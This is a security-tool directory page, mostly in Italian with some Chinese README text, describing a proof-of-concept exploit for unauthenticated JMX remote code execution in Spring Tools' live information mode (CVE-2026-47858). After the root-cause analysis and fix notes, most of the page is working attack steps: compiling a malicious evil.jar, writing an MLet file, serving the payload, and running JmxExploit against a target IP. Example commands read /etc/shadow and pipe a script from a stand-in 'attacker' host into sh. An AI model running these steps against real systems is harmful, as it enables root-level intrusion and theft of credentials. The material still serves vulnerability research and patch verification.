Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-47858 — Exploit proof-of-concept per RCE JMX non autenticata nella modalità live information di Spring Tools, che utilizza il caricamento remoto di classi tramite MLet per eseguire comandi arbitrari su applicazioni Spring Boot vulnerabili. | Kitploit
Strumenti/GitHubGitHub/realstatus/cve-2026-47858
Generazione di PayloadAnalisi delle VulnerabilitàExploitPenetration Testing
GitHubrealstatus/cve-2026-47858

CVE-2026-47858

Exploit proof-of-concept per RCE JMX non autenticata nella modalità live information di Spring Tools, che utilizza il caricamento remoto di classi tramite MLet per eseguire comandi arbitrari su applicazioni Spring Boot vulnerabili.

Vedi Repository
282 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-47858 — Esecuzione di codice remoto JMX non autorizzata nella modalità live information di Spring Tools (PoC)

README in inglese | Avviso di vulnerabilità: Spring Security Advisory | Record CVE

Vulnerabilità: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0, all'avvio di un'applicazione Spring Boot in modalità live information (attiva per impostazione predefinita), inietta nell'applicazione parametri JMX remoti senza autenticazione, senza TLS e associati a tutte le interfacce di rete. Un attaccante su una rete adiacente può connettersi a quel JMX MBeanServer senza credenziali e, tramite il caricamento remoto di classi MLet, ottenere RCE diretto (privilegi di root).

  • CWE-306 Autenticazione mancante per funzione critica
  • CVSS 3.1 8.0 ALTO — AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Versioni corrette: Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0 (tutte le versioni precedenti alla 5 sono anch'esse interessate e non supportate)

Indice

  1. Causa principale (evidenza dal codice sorgente)
  2. Riproduzione rapida (script one-click)
  3. Utilizzo dell'exploit (comandi flessibili)
  4. Principio dell'attacco: RCE diretto, non di tipo reverse-connection
  5. Matrice di test ed evidenze
  6. Correzione e mitigazione
  7. Struttura del repository
  8. Dichiarazione di non responsabilità

1. Causa principale (evidenza dal codice sorgente)

Confrontando il tag interessato 5.2.0.RELEASE (== v2.2.0) con il tag correttivo 5.3.0.RELEASE (== v2.3.0):

Versione vulnerabile eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:

"-Dcom.sun.management.jmxremote",                  // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false",          // 无 TLS!
"-Djava.rmi.server.hostname=localhost",              // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*"      // 全部 actuator 端点经 JMX 暴露
  • BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: abilitato per impostazione predefinita, ogni avvio di un'applicazione Boot dall'IDE inietta i parametri sopra indicati.
  • Estensione VSCode 2.2.0 (vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) inietta gli stessi -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.

Versione corretta 5.3.0:

  • Con porta fissa, aggiunge -Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX associato solo al loopback).
  • Per impostazione predefinita (porta 0), non inietta più affatto i parametri com.sun.management.jmxremote*, passando invece all'aggiunta locale tramite Attach API in base al PID del processo (analogamente sul lato VSCode, i parametri JMX remoti sono stati completamente rimossi da debug-config-provider.ts).

Nota: la sola presenza di -Dcom.sun.management.jmxremote.port attiva l'agente JMX (senza bisogno dell'interruttore principale com.sun.management.jmxremote), e lo stesso vale per la variante VSCode.


2. Utilizzo rapido (due script indipendenti)

Gli script sono completamente separati: setup-lab.sh si occupa solo di preparare l'ambiente, attack.sh si occupa solo dell'attacco e dello sfruttamento. Dipendenze: docker, JDK 17+ (predefinito /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (opzionale).

2.1 Primo passo: preparare l'ambiente (setup-lab.sh)

./setup-lab.sh vuln          # 漏洞配置 (5.2.0 参数)   [默认]
./setup-lab.sh fixed-pinned  # 修复版 5.3.0 固定端口 (JMX 仅 127.0.0.1)
./setup-lab.sh fixed-auto    # 修复版 5.3.0 默认 auto (无远程 JMX 端口)
./setup-lab.sh cleanup       # 停止并删除容器与网络

Completamento automatico: compila l'applicazione Spring Boot vittima → crea una rete bridge docker isolata (container vittima 172.22.0.x, attaccante sull'host, simulando una rete adiacente) → avvia l'applicazione con i parametri JVM della versione corrispondente → mostra la porta di ascolto JMX → restituisce IP della macchina vittima / porta JMX / gateway. Il container vittima rimane in esecuzione, consentendo di passare direttamente al passo successivo dell'attacco.

2.2 Secondo passo: sfruttamento dell'attacco (attack.sh)

./attack.sh <受害机IP> 19090 "id; whoami; uname -a" 8000
# 自定义命令(默认 id; hostname; uname -a,改命令无需重编译)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000

利用脚本自动完成:编译恶意 jar → 生成 mlet.txt(命令经 <ARG> 传入)→ 起 HTTP 服务提供载荷 → 运行利用。载荷只执行命令并回显:命令经 /bin/sh -c 在受害 JVM 内同步执行,输出在内存中捕获,随后由利用程序经同一条 JMX 连接调用 Pwn.getOutput() 拉回攻击端直接显示(含退出码),目标机不写任何文件。若还想把输出留在目标机,在命令里自行重定向即可(如 "id > /tmp/out.txt")。

对照实验:先 ./setup-lab.sh vuln 攻击成功;再 ./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned 攻击应失败(JMX 仅回环)。


3. 漏洞利用用法(灵活命令)

3.1 一键利用 attack.sh(推荐)

命令完全可配置,改命令无需重新编译任何东西(命令经 MLET <ARG> 标签传入,jar 与命令无关):

./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]

# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a"                 # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000                 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000   # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000                            # 通用远程目标

# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ...   # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ...        # 指定 JDK

Processo: compilazione automatica di evil.jar → escape del comando XML e generazione di mlet.txt → avvio del servizio HTTP che fornisce evil.jar + mlet.txt → compilazione ed esecuzione di JmxExploit. Il payload si occupa solo di eseguire il comando e restituire l'output, senza scrivere alcun file sulla macchina target.

3.2 Esecuzione manuale passo per passo

# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .

# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF

# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0   # 在 exploit-server 目录下

# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
     -cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"

# 5) 自行验证命令是否执行(输出在受害应用控制台/日志里,如 docker exec victim tail /app.log)

3.3 Payload e output

Scarica lo strumento